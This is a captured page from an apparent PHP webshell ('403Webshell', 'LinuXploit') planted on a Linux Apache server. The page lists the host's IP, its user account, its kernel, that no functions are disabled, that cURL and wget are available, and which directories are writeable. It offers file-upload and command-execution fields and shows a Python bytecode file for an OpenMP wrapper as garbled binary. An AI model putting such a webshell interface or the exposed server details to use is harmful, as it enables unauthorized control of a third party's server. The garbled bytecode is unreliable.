403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.90
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/omp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/omp/__pycache__/__init__.cpython-311.pyc
�

cR�a�����dZddlmZddlmZmZmZddlmZm	Z	ddl
Z
ddlZddlZ	ddl
mZn#e$rd�ZYnwxYwe��ZGd�d	e��Ze��eje<dS)
z:OpenMP wrapper using a libgomp dynamically loaded library.�)�find_library)�check_output�CalledProcessError�DEVNULL)�msvc_runtime_major�get_shared_lib_extensionN)�compilerc�B�tj�dd��S)N�CXXzc++)�os�environ�get���./usr/lib/python3/dist-packages/omp/__init__.pyr	r	s���z�~�~�e�U�+�+�+rc�0�eZdZdZd�Zd�Zd�Zd�Zd�ZdS)�OpenMPz�
    Internal representation of the OpenMP module.

    Custom class is used to dynamically add omp runtime function
    to this library when function is called.
    c�|�t��}|�|���dS|�|��dS)N)r�
init_not_msvc�	init_msvc)�self�vers  r�__init__zOpenMP.__init__sB�� �"�"���;���� � � � � ��N�N�3�����rc��td|z��}|std���tj|��|_d|_dS)Nzvcomp%d.dllz(I can't find a shared library for vcomp.�)r�ImportError�ctypes�CDLL�libomp�version)rr�
vcomp_paths   rrzOpenMP.init_msvc%sI��!�-�#�"5�6�6�
��	��H�I�I�I�!�+�j�1�1�D�K��D�L�L�Lrc�
�gd�S)z&Return list of OpenMP libraries to try)�omp�gomp�iomp5r)rs r�get_libomp_nameszOpenMP.get_libomp_names.s��'�'�'�'rc
��g}tjdkrddg}ndg}g}|D]V}tj�|d��}|r2|�|�tj�����W|���}t��|D]�}td�
|t����g}	t|t���}tj�|��������}	|	r|�|	����#t&t(f$rY��wxYw|D]�}t+|��}
|
sh|D]e}	tj�|	d	�
|t������}tj�|��r|}
n�f|
rU	t1j|
��|_n0#t&$r#t7d
�
|
�����wxYwd|_dS��t7d�
|d
�����)z? Find OpenMP library and try to load if using ctype interface. �darwin�DYLD_LIBRARY_PATH�DYLD_FALLBACK_LIBRARY_PATH�LD_LIBRARY_PATH�Nz-print-file-name=lib{}{})�stderrzlib{}{}z[found openMP library '{}' but couldn't load it. This may happen if you are cross-compiling.�-zkI can't find a shared library for libomp, you may need to install it or adjust the {} environment variable.r)�sys�platformrr
r�extend�split�pathsepr&�cxx�formatrrr�path�dirname�decode�strip�append�OSErrorrr�join�isfilerrrrr )r�env_vars�paths�env_var�	env_paths�libomp_names�libomp_name�cmd�outputr6�libomp_path�candidate_paths            rrzOpenMP.init_not_msvc2s������<�8�#�#�+�-I�J�H�H�)�*�H����	:�	:�G��
���w��3�3�I��
:����Y�_�_�R�Z�8�8�9�9�9���,�,�.�.���?�+�
�
���1�8�8�&�3�5�5�7�7�8���)�#�18�:�:�:�F��7�?�?�6�=�=�?�?�+@�+@�+B�+B�C�C�D��+����T�*�*�*����!3�4�����D�����(�	�	�K�&�{�3�3�K��
�!���D�%'�W�\�\��!�(�(��)A�)C�)C�E�E�&F�&F�N��w�~�~�n�5�5��&4�����
�
�i�"(�+�k�":�":�D�K�K���i�i�i�%�'T�TZ�TZ�[f�Tg�Tg�i�i�i�i���� "������
��C�CI�6�(�ST�+�CV�CV�X�X�	Xs�?A0D0�0E�E�G!�!-Hc�L�|dkr|jSt|jd|z��S)z�
        Get correct function name from libgomp ready to be use.

        __getattr__ is call only `name != libomp` as libomp is a real
        attribute.
        �VERSION�omp_)r �getattrr)r�names  r�__getattr__zOpenMP.__getattr__vs-���9����<���t�{�F�T�M�2�2�2rN)	�__name__�
__module__�__qualname__�__doc__rrr&rrMrrrrrsp�������� � � ����(�(�(�AX�AX�AX�H	3�	3�	3�	3�	3rr)rQ�ctypes.utilr�
subprocessrrr�numpy.distutils.misc_utilrrrrr/�pythran.configr	rr4�objectr�modulesrNrrr�<module>rXs(��@�@�$�$�$�$�$�$�@�@�@�@�@�@�@�@�@�@����������
�
�
�	�	�	�	�
�
�
�
�,�'�'�'�'�'�'�'���,�,�,�,�,�,�,�,�,�����h�j�j��j3�j3�j3�j3�j3�V�j3�j3�j3�Z������H���s�/�:�:

Youez - 2016 - github.com/yon3zu
LinuXploit